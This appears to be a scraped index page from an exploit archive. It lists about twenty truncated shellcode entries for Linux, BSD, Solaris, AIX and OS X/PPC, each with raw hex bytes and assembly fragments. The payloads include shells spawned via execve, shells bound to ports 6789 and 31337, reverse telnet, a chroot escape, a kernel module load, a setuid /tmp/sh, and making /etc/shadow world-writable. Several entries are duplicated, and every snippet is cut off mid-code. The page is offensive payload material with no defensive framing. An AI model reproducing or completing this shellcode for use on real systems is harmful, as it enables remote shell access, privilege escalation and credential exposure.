linux/x86 eject /dev/cdrom 64 bytes

linux/x86 eject /dev/cdrom 64 bytes. Shellcode exploit for linx86 platform / CDROM EJECTING CODE by lamagra .data .globl main .type main,@function start: setreuid 0, 0 xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $70,%al int $0x80 jmp 0x21 popl %esi movb %edx,10%esi leal %esi,...

solaris/SPARC portbind port 6789 228 bytes

No description provided by source. / Solaris shellcode - connects /bin/sh to a port Claes M. Nyberg 20020624 [email protected], [email protected] / include string.h / void mainvoid asm" ! Server address xor %l1, %l1, %l1 ! l1 = 0 st %l1, %sp - 12 ! 0 = INADDRANY mov 0x2, %l1 ! AFINET sth...

linux/x86 shared memory exec 50 bytes

Exploit for linux/x86 platform in category shellcode ===================================== linux/x86 shared memory exec 50 bytes ===================================== / email protected - http://www.nopninjas.com Platform: Linux x86 Length: 50 bytes - This shellcode connects to the shared memory...

linux/x86 chmod 666 /etc/shadow 82 bytes

linux/x86 chmod 666 /etc/shadow 82 bytes. Shellcode exploit for linx86 platform / [email protected] Usando execve y un array de punteros include main char name4; name0="/bin/chmod"; name1="666"; name2="/etc/shadow"; name3=NULL; execvename0,name,NULL; / include char shellcode= "\xeb\x31" /...

linux/x86 execve /bin/sh IA32 0xff-less 45 bytes

No description provided by source. / 0xff-less execve /bin/sh by anathema [email protected] / include stdio.h include stdlib.h unsigned char code = / Linux/IA32 0xff-less execve shellcode. / "\x89\xe6" / movl %esp, %esi / "\x83\xc6\x30" / addl $0x30, %esi / "\xb8\x2e\x62\x69\x6e" / movl...

freebsd/x86 connect 102 bytes

No description provided by source. ; Passive Connection Shellcode ; ; Coded by Scrippie - [email protected] - http://b0f.freebsd.lublin.pl ; Buffer0verfl0w Security ; Why? This evades firewalls... ; ; YES, this is for NASM, I detest AT&T syntaxis - it's gross and unreadable ; ; This is the FreeBSD...

bsdi/x86 execve /bin/sh toupper evasion 97 bytes

No description provided by source. / BSDi shellcode jmp 0x57 pop %esi xor %ebx,%ebx add $0x8,%ebx add $0x2,%ebx mov %bl,0x26%esi xor %ebx,%ebx add $0x23,%ebx add $0x23,%ebx mov %bl,0xffffffa8%esi xor %ebx,%ebx add $0x26,%ebx add $0x30,%ebx mov %bl,0xffffffc2%esi xor %eax,%eax mov %al,0xb%esi mov...

Aix - execve /bin/sh 88 bytes

Aix execve /bin/sh 88 bytes. Shellcode exploit for aix platform / Aix execve of /bin/sh Georgi Guninski [email protected] / unsigned int code= 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 , 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c , 0x90610444 , 0x3c602f62 , 0x6063696e , 0x906104...

freebsd/x86 kldload /tmp/o.o 74 bytes

Exploit for freebsd/x86 platform in category shellcode ===================================== freebsd/x86 kldload /tmp/o.o 74 bytes ===================================== / The kldload shellcode setuid0 loads /tmp/o.o kernel module Size 74 bytes OS FreeBSD /rootteam/dev0id www.sysworld.net...

linux/x86 execve /bin/sh IA32 0xff-less 45 bytes

linux/x86 execve /bin/sh IA32 0xff-less 45 bytes. Shellcode exploit for linx86 platform / 0xff-less execve /bin/sh by anathema / include include unsigned char code = / Linux/IA32 0xff-less execve shellcode. / "\x89\xe6" / movl %esp, %esi / "\x83\xc6\x30" / addl $0x30, %esi / "\xb8\x2e\x62\x69\x6e...

freebsd/x86 chown 0:0 chmod 6755 & execve /tmp/sh 44 bytes

No description provided by source. / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh", 06755; 44 bytes Claes M. Nyberg 20020209 [email protected], [email protected] / / void mainvoid asm" xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl $0x68732f2f push 'hs//' //sh push...

bsd/x86 - portbind port random 143 bytes

bsd/x86 portbind port random 143 bytes. Shellcode exploit for bsdx86 platform / Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / / 143 bytes / char shellcode = "\x31\xC0" "\x50" "\x50" "\xB0\x17" "\xCD\x80" // setuid...

os-x/PPC simple write 75 bytes

os-x/PPC simple write 75 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38"...

bsd/x86 - portbind port 31337 83 bytes

bsd/x86 portbind port 31337 83 bytes. Shellcode exploit for bsdx86 platform / portbinding execve shellcode port 31337 bsd/x86 83b - no1 greyhats.za.net / char shellc0de= "\x99" // cdq "\x52" // pushl %edx "\x6a\x01" // pushl $0x01 "\x6a\x02" // pushl $0x02 "\xb0\x61" // movb $0x61,%al "\x50" //...

linux/x86 Reverse telnet 134 bytes

Exploit for linux/x86 platform in category shellcode ================================== linux/x86 Reverse telnet 134 bytes ================================== / Reverse Telnet Shellcode by hts / / jmp 0x31 popl %esi movl %esi,0x4f%esi leal 0x8%esi,%ebx movl %ebx,0x53%esi leal 0xb%esi,%ebx movl...

bsd/x86 - break chroot 45 bytes

bsd/x86 break chroot 45 bytes. Shellcode exploit for bsdx86 platform / BSD version FreeBSD, OpenBSD, NetBSD. [email protected] 45 bytes. -break chrooted / char shellcode= "\x68\x62\x2e\x2e\x2e" / pushl $0x2e2e2e62 / "\x89\xe7" / movl %esp,%edi / "\x33\xc0" / xorl %eax,%eax / "\x88\x47\x03...

solaris/SPARC execve /bin/sh 52 bytes

No description provided by source. //Solaris/Sparc - LSD char shellcode= "\x20\xbf\xff\xff" / bn,a shellcode-4 / "\x20\xbf\xff\xff" / bn,a shellcode / "\x7f\xff\xff\xff" / call shellcode+4 / "\x90\x03\xe0\x20" / add %o7,32,%o0 / "\x92\x02\x20\x10" / add %o0,16,%o1 / "\xc0\x22\x20\x08" / st...

bsd/x86 portbind port random 143 bytes

Exploit for bsd/x86 platform in category shellcode ====================================== bsd/x86 portbind port random 143 bytes ====================================== Here is a BSD remote shellcode. Tested on NetBSD . SHould work on FreeBSD and OpenBSD . by MayheM ExileCrew www.exile2k.org / 143...

os-x/PPC simple write() 75 bytes

No description provided by source. / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does write; exit; See ASM below. 75 Bytes. / char shellcode = "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x40\x01\x70" "\x38\x6a\xfe\x91\x38\x9f\x01\x38" "\x38\x84\xfe\xf4\x38\xaa\xfe\xa7"...

os-x/PPC create /tmp/suid 122 bytes

os-x/PPC create /tmp/suid 122 bytes. Shellcode exploit for osxppc platform / PPC OSX/Darwin Shellcode by B-r00t. 2003. Does open; write; close; exit; See ASM below. 122 Bytes. / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7f\xe8\x02\xa6\x39\x1f\x01\x71" "\x39\x08\xfe\xf4\x7c\xa8\x29\xa...